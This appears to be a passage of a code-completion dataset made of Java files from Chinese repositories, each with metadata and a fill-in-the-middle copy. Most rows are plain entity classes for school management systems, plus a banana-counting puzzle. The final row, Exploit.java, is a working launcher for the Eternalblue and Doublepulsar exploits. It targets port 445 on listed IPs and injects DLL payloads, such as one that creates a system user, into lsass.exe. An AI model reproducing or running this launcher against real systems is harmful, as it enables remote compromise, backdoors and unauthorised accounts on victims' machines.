/**
* 获取:院系
*/
public String getYuanxi() {
return yuanxi;
}
/**
* 设置:班级
*/
public void setBanji(String banji) {
this.banji = banji;
}
/**
* 获取:班级
*/
public String getBanji() {
return banji;
}
/**
* 设置:职称
*/
public void setZhicheng(String zhicheng) {
this.zhicheng = zhicheng;
}
/**
* 获取:职称
*/
public String getZhicheng() {
return zhicheng;
}
/**
* 设置:联系电话
*/
public void setLianxidianhua(String lianxidianhua) {
this.lianxidianhua = lianxidianhua;
}
/**
* 获取:联系电话
*/
public String getLianxidianhua() {
return lianxidianhua;
}
/**
* 设置:教师邮箱
*/
public void setJiaoshiyouxiang(String jiaoshiyouxiang) {
this.jiaoshiyouxiang = jiaoshiyouxiang;
}
/**
* 获取:教师邮箱
*/
public String getJiaoshiyouxiang() {
return jiaoshiyouxiang;
}
}
| 1120041844/StudentAwardManagementSystem | src/main/java/com/entity/vo/JiaoshiVO.java | 1,070 | /**
* 获取:班级
*/ | block_comment | zh-cn | package com.entity.vo;
import com.entity.JiaoshiEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 教师
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-29 10:40:57
*/
public class JiaoshiVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 密码
*/
private String mima;
/**
* 教师姓名
*/
private String jiaoshixingming;
/**
* 性别
*/
private String xingbie;
/**
* 照片
*/
private String zhaopian;
/**
* 院系
*/
private String yuanxi;
/**
* 班级
*/
private String banji;
/**
* 职称
*/
private String zhicheng;
/**
* 联系电话
*/
private String lianxidianhua;
/**
* 教师邮箱
*/
private String jiaoshiyouxiang;
/**
* 设置:密码
*/
public void setMima(String mima) {
this.mima = mima;
}
/**
* 获取:密码
*/
public String getMima() {
return mima;
}
/**
* 设置:教师姓名
*/
public void setJiaoshixingming(String jiaoshixingming) {
this.jiaoshixingming = jiaoshixingming;
}
/**
* 获取:教师姓名
*/
public String getJiaoshixingming() {
return jiaoshixingming;
}
/**
* 设置:性别
*/
public void setXingbie(String xingbie) {
this.xingbie = xingbie;
}
/**
* 获取:性别
*/
public String getXingbie() {
return xingbie;
}
/**
* 设置:照片
*/
public void setZhaopian(String zhaopian) {
this.zhaopian = zhaopian;
}
/**
* 获取:照片
*/
public String getZhaopian() {
return zhaopian;
}
/**
* 设置:院系
*/
public void setYuanxi(String yuanxi) {
this.yuanxi = yuanxi;
}
/**
* 获取:院系
*/
public String getYuanxi() {
return yuanxi;
}
/**
* 设置:班级
*/
public void setBanji(String banji) {
this.banji = banji;
}
/**
* 获取: <SUF>*/
public String getBanji() {
return banji;
}
/**
* 设置:职称
*/
public void setZhicheng(String zhicheng) {
this.zhicheng = zhicheng;
}
/**
* 获取:职称
*/
public String getZhicheng() {
return zhicheng;
}
/**
* 设置:联系电话
*/
public void setLianxidianhua(String lianxidianhua) {
this.lianxidianhua = lianxidianhua;
}
/**
* 获取:联系电话
*/
public String getLianxidianhua() {
return lianxidianhua;
}
/**
* 设置:教师邮箱
*/
public void setJiaoshiyouxiang(String jiaoshiyouxiang) {
this.jiaoshiyouxiang = jiaoshiyouxiang;
}
/**
* 获取:教师邮箱
*/
public String getJiaoshiyouxiang() {
return jiaoshiyouxiang;
}
}
| 0 |
59022_12 | package com.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotEmpty;
import javax.validation.constraints.NotNull;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import java.lang.reflect.InvocationTargetException;
import java.io.Serializable;
import java.util.Date;
import java.util.List;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import org.apache.commons.beanutils.BeanUtils;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.enums.FieldFill;
import com.baomidou.mybatisplus.enums.IdType;
/**
* 工作量
* 数据库通用操作实体类(普通增删改查)
* @author
* @email
* @date 2021-03-28 11:09:47
*/
@TableName("gongzuoliang")
public class GongzuoliangEntity<T> implements Serializable {
private static final long serialVersionUID = 1L;
public GongzuoliangEntity() {
}
public GongzuoliangEntity(T t) {
try {
BeanUtils.copyProperties(this, t);
} catch (IllegalAccessException | InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 主键id
*/
@TableId
private Long id;
/**
* 理论
*/
private String lilun;
/**
* 实验
*/
private String shiyan;
/**
* 实习
*/
private String shixi;
/**
* 课程系数
*/
private String kechengxishu;
/**
* 合班数量
*/
private String hebanshuliang;
/**
* 合班系数
*/
private String hebanxishu;
/**
* 作业增量系数
*/
private String zuoyezengliangxishu;
/**
* 作业增量
*/
private String zuoyezengliang;
/**
* 实验类型系数
*/
private String shiyanleixingxishu;
/**
* 实习调整系数
*/
private String shixidiaozhengxishu;
/**
* 当量学时
*/
private String dangliangxueshi;
/**
* 备注
*/
private String beizhu;
/**
* 教师工号
*/
private String jiaoshigonghao;
/**
* 教师姓名
*/
private String jiaoshixingming;
/**
* 提交时间
*/
@JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd")
@DateTimeFormat
private Date tijiaoshijian;
@JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd HH:mm:ss")
@DateTimeFormat
private Date addtime;
public Date getAddtime() {
return addtime;
}
public void setAddtime(Date addtime) {
this.addtime = addtime;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
/**
* 设置:理论
*/
public void setLilun(String lilun) {
this.lilun = lilun;
}
/**
* 获取:理论
*/
public String getLilun() {
return lilun;
}
/**
* 设置:实验
*/
public void setShiyan(String shiyan) {
this.shiyan = shiyan;
}
/**
* 获取:实验
*/
public String getShiyan() {
return shiyan;
}
/**
* 设置:实习
*/
public void setShixi(String shixi) {
this.shixi = shixi;
}
/**
* 获取:实习
*/
public String getShixi() {
return shixi;
}
/**
* 设置:课程系数
*/
public void setKechengxishu(String kechengxishu) {
this.kechengxishu = kechengxishu;
}
/**
* 获取:课程系数
*/
public String getKechengxishu() {
return kechengxishu;
}
/**
* 设置:合班数量
*/
public void setHebanshuliang(String hebanshuliang) {
this.hebanshuliang = hebanshuliang;
}
/**
* 获取:合班数量
*/
public String getHebanshuliang() {
return hebanshuliang;
}
/**
* 设置:合班系数
*/
public void setHebanxishu(String hebanxishu) {
this.hebanxishu = hebanxishu;
}
/**
* 获取:合班系数
*/
public String getHebanxishu() {
return hebanxishu;
}
/**
* 设置:作业增量系数
*/
public void setZuoyezengliangxishu(String zuoyezengliangxishu) {
this.zuoyezengliangxishu = zuoyezengliangxishu;
}
/**
* 获取:作业增量系数
*/
public String getZuoyezengliangxishu() {
return zuoyezengliangxishu;
}
/**
* 设置:作业增量
*/
public void setZuoyezengliang(String zuoyezengliang) {
this.zuoyezengliang = zuoyezengliang;
}
/**
* 获取:作业增量
*/
public String getZuoyezengliang() {
return zuoyezengliang;
}
/**
* 设置:实验类型系数
*/
public void setShiyanleixingxishu(String shiyanleixingxishu) {
this.shiyanleixingxishu = shiyanleixingxishu;
}
/**
* 获取:实验类型系数
*/
public String getShiyanleixingxishu() {
return shiyanleixingxishu;
}
/**
* 设置:实习调整系数
*/
public void setShixidiaozhengxishu(String shixidiaozhengxishu) {
this.shixidiaozhengxishu = shixidiaozhengxishu;
}
/**
* 获取:实习调整系数
*/
public String getShixidiaozhengxishu() {
return shixidiaozhengxishu;
}
/**
* 设置:当量学时
*/
public void setDangliangxueshi(String dangliangxueshi) {
this.dangliangxueshi = dangliangxueshi;
}
/**
* 获取:当量学时
*/
public String getDangliangxueshi() {
return dangliangxueshi;
}
/**
* 设置:备注
*/
public void setBeizhu(String beizhu) {
this.beizhu = beizhu;
}
/**
* 获取:备注
*/
public String getBeizhu() {
return beizhu;
}
/**
* 设置:教师工号
*/
public void setJiaoshigonghao(String jiaoshigonghao) {
this.jiaoshigonghao = jiaoshigonghao;
}
/**
* 获取:教师工号
*/
public String getJiaoshigonghao() {
return jiaoshigonghao;
}
/**
* 设置:教师姓名
*/
public void setJiaoshixingming(String jiaoshixingming) {
this.jiaoshixingming = jiaoshixingming;
}
/**
* 获取:教师姓名
*/
public String getJiaoshixingming() {
return jiaoshixingming;
}
/**
* 设置:提交时间
*/
public void setTijiaoshijian(Date tijiaoshijian) {
this.tijiaoshijian = tijiaoshijian;
}
/**
* 获取:提交时间
*/
public Date getTijiaoshijian() {
return tijiaoshijian;
}
}
| 1120041844/TeacherWorkloadSystem | src/main/java/com/entity/GongzuoliangEntity.java | 2,264 | /**
* 实习调整系数
*/ | block_comment | zh-cn | package com.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotEmpty;
import javax.validation.constraints.NotNull;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import java.lang.reflect.InvocationTargetException;
import java.io.Serializable;
import java.util.Date;
import java.util.List;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import org.apache.commons.beanutils.BeanUtils;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.enums.FieldFill;
import com.baomidou.mybatisplus.enums.IdType;
/**
* 工作量
* 数据库通用操作实体类(普通增删改查)
* @author
* @email
* @date 2021-03-28 11:09:47
*/
@TableName("gongzuoliang")
public class GongzuoliangEntity<T> implements Serializable {
private static final long serialVersionUID = 1L;
public GongzuoliangEntity() {
}
public GongzuoliangEntity(T t) {
try {
BeanUtils.copyProperties(this, t);
} catch (IllegalAccessException | InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 主键id
*/
@TableId
private Long id;
/**
* 理论
*/
private String lilun;
/**
* 实验
*/
private String shiyan;
/**
* 实习
*/
private String shixi;
/**
* 课程系数
*/
private String kechengxishu;
/**
* 合班数量
*/
private String hebanshuliang;
/**
* 合班系数
*/
private String hebanxishu;
/**
* 作业增量系数
*/
private String zuoyezengliangxishu;
/**
* 作业增量
*/
private String zuoyezengliang;
/**
* 实验类型系数
*/
private String shiyanleixingxishu;
/**
* 实习调 <SUF>*/
private String shixidiaozhengxishu;
/**
* 当量学时
*/
private String dangliangxueshi;
/**
* 备注
*/
private String beizhu;
/**
* 教师工号
*/
private String jiaoshigonghao;
/**
* 教师姓名
*/
private String jiaoshixingming;
/**
* 提交时间
*/
@JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd")
@DateTimeFormat
private Date tijiaoshijian;
@JsonFormat(locale="zh", timezone="GMT+8", pattern="yyyy-MM-dd HH:mm:ss")
@DateTimeFormat
private Date addtime;
public Date getAddtime() {
return addtime;
}
public void setAddtime(Date addtime) {
this.addtime = addtime;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
/**
* 设置:理论
*/
public void setLilun(String lilun) {
this.lilun = lilun;
}
/**
* 获取:理论
*/
public String getLilun() {
return lilun;
}
/**
* 设置:实验
*/
public void setShiyan(String shiyan) {
this.shiyan = shiyan;
}
/**
* 获取:实验
*/
public String getShiyan() {
return shiyan;
}
/**
* 设置:实习
*/
public void setShixi(String shixi) {
this.shixi = shixi;
}
/**
* 获取:实习
*/
public String getShixi() {
return shixi;
}
/**
* 设置:课程系数
*/
public void setKechengxishu(String kechengxishu) {
this.kechengxishu = kechengxishu;
}
/**
* 获取:课程系数
*/
public String getKechengxishu() {
return kechengxishu;
}
/**
* 设置:合班数量
*/
public void setHebanshuliang(String hebanshuliang) {
this.hebanshuliang = hebanshuliang;
}
/**
* 获取:合班数量
*/
public String getHebanshuliang() {
return hebanshuliang;
}
/**
* 设置:合班系数
*/
public void setHebanxishu(String hebanxishu) {
this.hebanxishu = hebanxishu;
}
/**
* 获取:合班系数
*/
public String getHebanxishu() {
return hebanxishu;
}
/**
* 设置:作业增量系数
*/
public void setZuoyezengliangxishu(String zuoyezengliangxishu) {
this.zuoyezengliangxishu = zuoyezengliangxishu;
}
/**
* 获取:作业增量系数
*/
public String getZuoyezengliangxishu() {
return zuoyezengliangxishu;
}
/**
* 设置:作业增量
*/
public void setZuoyezengliang(String zuoyezengliang) {
this.zuoyezengliang = zuoyezengliang;
}
/**
* 获取:作业增量
*/
public String getZuoyezengliang() {
return zuoyezengliang;
}
/**
* 设置:实验类型系数
*/
public void setShiyanleixingxishu(String shiyanleixingxishu) {
this.shiyanleixingxishu = shiyanleixingxishu;
}
/**
* 获取:实验类型系数
*/
public String getShiyanleixingxishu() {
return shiyanleixingxishu;
}
/**
* 设置:实习调整系数
*/
public void setShixidiaozhengxishu(String shixidiaozhengxishu) {
this.shixidiaozhengxishu = shixidiaozhengxishu;
}
/**
* 获取:实习调整系数
*/
public String getShixidiaozhengxishu() {
return shixidiaozhengxishu;
}
/**
* 设置:当量学时
*/
public void setDangliangxueshi(String dangliangxueshi) {
this.dangliangxueshi = dangliangxueshi;
}
/**
* 获取:当量学时
*/
public String getDangliangxueshi() {
return dangliangxueshi;
}
/**
* 设置:备注
*/
public void setBeizhu(String beizhu) {
this.beizhu = beizhu;
}
/**
* 获取:备注
*/
public String getBeizhu() {
return beizhu;
}
/**
* 设置:教师工号
*/
public void setJiaoshigonghao(String jiaoshigonghao) {
this.jiaoshigonghao = jiaoshigonghao;
}
/**
* 获取:教师工号
*/
public String getJiaoshigonghao() {
return jiaoshigonghao;
}
/**
* 设置:教师姓名
*/
public void setJiaoshixingming(String jiaoshixingming) {
this.jiaoshixingming = jiaoshixingming;
}
/**
* 获取:教师姓名
*/
public String getJiaoshixingming() {
return jiaoshixingming;
}
/**
* 设置:提交时间
*/
public void setTijiaoshijian(Date tijiaoshijian) {
this.tijiaoshijian = tijiaoshijian;
}
/**
* 获取:提交时间
*/
public Date getTijiaoshijian() {
return tijiaoshijian;
}
}
| 0 |
43778_3 | package com.entity.vo;
import com.entity.CansaixinxiEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 参赛信息
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-30 16:23:55
*/
public class CansaixinxiVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 学生姓名
*/
private String xueshengxingming;
/**
* 竞赛名称
*/
private String jingsaimingcheng;
/**
* 竞赛类型
*/
private String jingsaileixing;
/**
* 学校
*/
private String xuexiao;
/**
* 作品
*/
private String zuopin;
/**
* 作品特色
*/
private String zuopintese;
/**
* 设置:学生姓名
*/
public void setXueshengxingming(String xueshengxingming) {
this.xueshengxingming = xueshengxingming;
}
/**
* 获取:学生姓名
*/
public String getXueshengxingming() {
return xueshengxingming;
}
/**
* 设置:竞赛名称
*/
public void setJingsaimingcheng(String jingsaimingcheng) {
this.jingsaimingcheng = jingsaimingcheng;
}
/**
* 获取:竞赛名称
*/
public String getJingsaimingcheng() {
return jingsaimingcheng;
}
/**
* 设置:竞赛类型
*/
public void setJingsaileixing(String jingsaileixing) {
this.jingsaileixing = jingsaileixing;
}
/**
* 获取:竞赛类型
*/
public String getJingsaileixing() {
return jingsaileixing;
}
/**
* 设置:学校
*/
public void setXuexiao(String xuexiao) {
this.xuexiao = xuexiao;
}
/**
* 获取:学校
*/
public String getXuexiao() {
return xuexiao;
}
/**
* 设置:作品
*/
public void setZuopin(String zuopin) {
this.zuopin = zuopin;
}
/**
* 获取:作品
*/
public String getZuopin() {
return zuopin;
}
/**
* 设置:作品特色
*/
public void setZuopintese(String zuopintese) {
this.zuopintese = zuopintese;
}
/**
* 获取:作品特色
*/
public String getZuopintese() {
return zuopintese;
}
}
| 1120041844/UniversitySubjectCompetitionSystem | src/main/java/com/entity/vo/CansaixinxiVO.java | 819 | /**
* 竞赛类型
*/ | block_comment | zh-cn | package com.entity.vo;
import com.entity.CansaixinxiEntity;
import com.baomidou.mybatisplus.annotations.TableName;
import java.util.Date;
import org.springframework.format.annotation.DateTimeFormat;
import com.fasterxml.jackson.annotation.JsonFormat;
import java.io.Serializable;
/**
* 参赛信息
* 手机端接口返回实体辅助类
* (主要作用去除一些不必要的字段)
* @author
* @email
* @date 2021-04-30 16:23:55
*/
public class CansaixinxiVO implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 学生姓名
*/
private String xueshengxingming;
/**
* 竞赛名称
*/
private String jingsaimingcheng;
/**
* 竞赛类 <SUF>*/
private String jingsaileixing;
/**
* 学校
*/
private String xuexiao;
/**
* 作品
*/
private String zuopin;
/**
* 作品特色
*/
private String zuopintese;
/**
* 设置:学生姓名
*/
public void setXueshengxingming(String xueshengxingming) {
this.xueshengxingming = xueshengxingming;
}
/**
* 获取:学生姓名
*/
public String getXueshengxingming() {
return xueshengxingming;
}
/**
* 设置:竞赛名称
*/
public void setJingsaimingcheng(String jingsaimingcheng) {
this.jingsaimingcheng = jingsaimingcheng;
}
/**
* 获取:竞赛名称
*/
public String getJingsaimingcheng() {
return jingsaimingcheng;
}
/**
* 设置:竞赛类型
*/
public void setJingsaileixing(String jingsaileixing) {
this.jingsaileixing = jingsaileixing;
}
/**
* 获取:竞赛类型
*/
public String getJingsaileixing() {
return jingsaileixing;
}
/**
* 设置:学校
*/
public void setXuexiao(String xuexiao) {
this.xuexiao = xuexiao;
}
/**
* 获取:学校
*/
public String getXuexiao() {
return xuexiao;
}
/**
* 设置:作品
*/
public void setZuopin(String zuopin) {
this.zuopin = zuopin;
}
/**
* 获取:作品
*/
public String getZuopin() {
return zuopin;
}
/**
* 设置:作品特色
*/
public void setZuopintese(String zuopintese) {
this.zuopintese = zuopintese;
}
/**
* 获取:作品特色
*/
public String getZuopintese() {
return zuopintese;
}
}
| 0 |
20075_0 | package test;
/**
* 编号:xxx
* 难度:简单
* 数香蕉:一只猴子有一堆香蕉,它从第1天开始,每天吃当前的一半加1个,第10天也这样吃了之后,
* 最后只剩下1个,求香蕉一共有多少个。
* @author hWX5322377
*
*/
public class CalBanna {
public static void main(String[] args) {
int day11 = 1;
int day10 = (1+day11)*2-day11;
int sum = day11;
for (int i = 0; i < 10; i++) {
sum += day10 * Math.pow(2, i);
}
println(sum);
}
public static void println(Object s) {
System.out.println(String.valueOf(s));
}
}
| 1130381752/AlgorithmQuestion | CalBanna.java | 244 | /**
* 编号:xxx
* 难度:简单
* 数香蕉:一只猴子有一堆香蕉,它从第1天开始,每天吃当前的一半加1个,第10天也这样吃了之后,
* 最后只剩下1个,求香蕉一共有多少个。
* @author hWX5322377
*
*/ | block_comment | zh-cn | package test;
/**
* 编号: <SUF>*/
public class CalBanna {
public static void main(String[] args) {
int day11 = 1;
int day10 = (1+day11)*2-day11;
int sum = day11;
for (int i = 0; i < 10; i++) {
sum += day10 * Math.pow(2, i);
}
println(sum);
}
public static void println(Object s) {
System.out.println(String.valueOf(s));
}
}
| 1 |
33353_4 | import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import java.net.URL;
/**
* Created by 1135 on 2017/5/3.
*/
public class Exploit {
public void runCMD(String command) throws Exception {
Process p = Runtime.getRuntime().exec("cmd /c cmd.exe /c " + command + " exit");//cmd /c dir 执行完dir命令后关闭窗口。
//runCMD_bat("C:\\1.bat");/调用
//Process p = Runtime.getRuntime().exec("cmd /c start cmd.exe /c " + path + " exit");//显示窗口 打开一个新窗口后执行dir指令(原窗口会关闭)
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String readLine = br.readLine();
while (readLine != null) {
readLine = br.readLine();
System.out.println(readLine);
}
if (br != null) {
br.close();
}
p.destroy();
p = null;
}
public void EBexp_function() {
URL url = getClass().getProtectionDomain().getCodeSource().getLocation();
File myfile = null;
try {
myfile = new File(url.toURI());
} catch (URISyntaxException e) {
e.printStackTrace();
}
File dir = myfile.getParentFile(); //jar文件所在的绝对目录
String ip = null;
String port = null;
String TargetOS = null;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
try {
//ip
System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):");
ip = br.readLine();
//在命令执行前判断
//port
System.out.println("input TargetPort(Default:445):");
port = br.readLine();
if (port.equals("")) port = "445";
//port为空,则设置为445 否则则为用户输入的值
//TargetOS
System.out.println("input TargetOS(Default:WIN72K8R2 other:XP):");
TargetOS = br.readLine();
if (TargetOS.equals("")) TargetOS = "WIN72K8R2";
//files文件夹内放着nsa工具
//dlls文件夹里放着攻击载荷 x86/x64 dll文件
//logs文件夹里放着命令执行结果 格式为EB/DP_ip_port.txt 如EB_192.168.0.1_445.txt
if (ip.equals("list")||ip.equals("")) {
/**
* 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码
*流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常
*/
try {
//System.out.println(dir);
File file = new File(dir+File.separator+"ip.txt");
String tempString = null;
BufferedReader reader = null;
try {//以行为单位读取文件内容,一次读一整行
reader = new BufferedReader(new FileReader(file));
int line = 1;
// 一次读入一行,直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
// 显示行号
tempString = tempString.trim();
System.out.println(line + " CurrentIP " + tempString);
System.out.println(tempString);
String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig " + dir+File.separator+"files"+File.separator +"Eternalblue-2.2.0.xml"+ " --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+"EB_" + tempString + "_" + port + ".txt" + " --Target " + TargetOS;
System.out.println(EBexpCommand);
runCMD(EBexpCommand);
line++;
}
reader.close();
} catch (Exception e) {
}
finally {
if (reader != null) {
try {
reader.close();
} catch (Exception e)
{
}
}
}
}
catch(Exception e) {
e.printStackTrace();
}
} else {
String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig files\\Eternalblue-2.2.0.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " +dir+File.separator+"logs" +File.separator+"EB_" + ip + "_" + port + ".txt" + " --Target " + TargetOS;
System.out.println(EBexpCommand);
runCMD(EBexpCommand);
}
} catch (Exception e) {
}
}
public void DPexp_function() {
URL url = getClass().getProtectionDomain().getCodeSource().getLocation();
File myfile = null;
try {
myfile = new File(url.toURI());
} catch (URISyntaxException e) {
e.printStackTrace();
}
File dir = myfile.getParentFile(); //jar文件所在的绝对目录
String networkTimeout = null;
String ip = null;
String port = null;
String protocol = null;
String architecture = null;
String function = null;
String payload = null;
String dllordinal = null;
String processName = null;
String processCommandLine =null;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
try {
//ip
System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):");
ip = br.readLine();
//在命令执行前判断
//port
System.out.println("input TargetPort(Default:445):");
port = br.readLine();
if (port.equals("")) port = "445";
//port为空,则设置为445 否则则为用户输入的值
//protocol
System.out.println("input protocol(Default:SMB other:RDP):");
protocol = br.readLine();
if (protocol.equals("")) protocol = "SMB";
//architecture
System.out.println("input architecture(Default:x64 other:x86):");
architecture = br.readLine();
if (architecture.equals("")) architecture = "x64";
//Function
System.out.println("input Function(Default:RunDll): \n other:\nPing(Check whether the backdoor is installed)" +
"\nOutPutInstall(Generate a shellcode)" +
"\nRunShellcode" +
"Uninstall");
function = br.readLine();
if (function.equals("")) function = "RunDLL";
//payload
System.out.println("input payloadDllname(Default:x64createSysUser.dll other: X64reboot.dll X86reboot.dll x64createSysUser.dll x86createSysUser.dll your.dll):");
payload = br.readLine();
if (payload.equals("")) payload = "x64createSysUser.dll";
//payloadDllOrdinal 默认1 : The exported ordinal number of the DLL being injected to call
System.out.println("input payloadDllOrdinal(Default:1):");
dllordinal = br.readLine();
if (dllordinal.equals("")) dllordinal = "1";
//ProcessName :: Name of process to inject into
System.out.println("input ProcessName to inject into (Default:lsass.exe other:explorer.exe svchost.exe ):");
processName = br.readLine();
if (processName.equals("")) processName = "lsass.exe";
//ProcessCommandLine :: Command line of process to inject into
System.out.println("input ProcessCommandLine :: Command line of process to inject into (Default:\"\"):");
processCommandLine = br.readLine();
if (processCommandLine.equals("")) processCommandLine = "\"\"";
//NetworkTimeout
System.out.println("input NetworkTimeout(Default 60):");
networkTimeout = br.readLine();
if (networkTimeout.equals("")) networkTimeout = "60";
if (ip.equals("list")||ip.equals("")) {
/**
* 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码
*流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常
*/
try {
//System.out.println(dir);
File file = new File(dir+File.separator+"ip.txt");
BufferedReader reader = null;
try {//以行为单位读取文件内容,一次读一整行
reader = new BufferedReader(new FileReader(file));
String tempString = null;
int line = 1;
// 一次读入一行,直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
// 显示行号
System.out.println(line + " CurrentIP " + tempString);
String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + tempString + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout;
System.out.println(DPexpCommand);
runCMD(DPexpCommand);
line++;
}
reader.close();
} catch (java.io.FileNotFoundException e)
{
System.err.println("Can't find file ip.txt in jar file directory.");
}
catch (Exception e) {
e.printStackTrace();
}
finally {
if (reader != null) {
try {
reader.close();
} catch (Exception e)
{
}
}
}
}
catch(Exception e) {
e.printStackTrace();
}
} else {
//System.out.println(networkTimeout+ip+port+processCommandLine+protocol);
/*
String networkTimeout = null;
String ip = null;
String port = null;
String protocol = null;
String architecture = null;
String function = null;
String payload = null;
String dllordinal = null;
String processName = null;
String processCommandLine =null;
*/
String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + ip + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout;
System.out.println(DPexpCommand);
runCMD(DPexpCommand);
}
} catch (Exception e)
{
}
//System.out.println(new Date());
//runCMD_bat(DPexpCommand);
//System.out.println(new Date());
}
} | 1135/EquationExploit | src/main/java/Exploit.java | 2,826 | //jar文件所在的绝对目录 | line_comment | zh-cn | import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import java.net.URL;
/**
* Created by 1135 on 2017/5/3.
*/
public class Exploit {
public void runCMD(String command) throws Exception {
Process p = Runtime.getRuntime().exec("cmd /c cmd.exe /c " + command + " exit");//cmd /c dir 执行完dir命令后关闭窗口。
//runCMD_bat("C:\\1.bat");/调用
//Process p = Runtime.getRuntime().exec("cmd /c start cmd.exe /c " + path + " exit");//显示窗口 打开一个新窗口后执行dir指令(原窗口会关闭)
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String readLine = br.readLine();
while (readLine != null) {
readLine = br.readLine();
System.out.println(readLine);
}
if (br != null) {
br.close();
}
p.destroy();
p = null;
}
public void EBexp_function() {
URL url = getClass().getProtectionDomain().getCodeSource().getLocation();
File myfile = null;
try {
myfile = new File(url.toURI());
} catch (URISyntaxException e) {
e.printStackTrace();
}
File dir = myfile.getParentFile(); //ja <SUF>
String ip = null;
String port = null;
String TargetOS = null;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
try {
//ip
System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):");
ip = br.readLine();
//在命令执行前判断
//port
System.out.println("input TargetPort(Default:445):");
port = br.readLine();
if (port.equals("")) port = "445";
//port为空,则设置为445 否则则为用户输入的值
//TargetOS
System.out.println("input TargetOS(Default:WIN72K8R2 other:XP):");
TargetOS = br.readLine();
if (TargetOS.equals("")) TargetOS = "WIN72K8R2";
//files文件夹内放着nsa工具
//dlls文件夹里放着攻击载荷 x86/x64 dll文件
//logs文件夹里放着命令执行结果 格式为EB/DP_ip_port.txt 如EB_192.168.0.1_445.txt
if (ip.equals("list")||ip.equals("")) {
/**
* 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码
*流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常
*/
try {
//System.out.println(dir);
File file = new File(dir+File.separator+"ip.txt");
String tempString = null;
BufferedReader reader = null;
try {//以行为单位读取文件内容,一次读一整行
reader = new BufferedReader(new FileReader(file));
int line = 1;
// 一次读入一行,直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
// 显示行号
tempString = tempString.trim();
System.out.println(line + " CurrentIP " + tempString);
System.out.println(tempString);
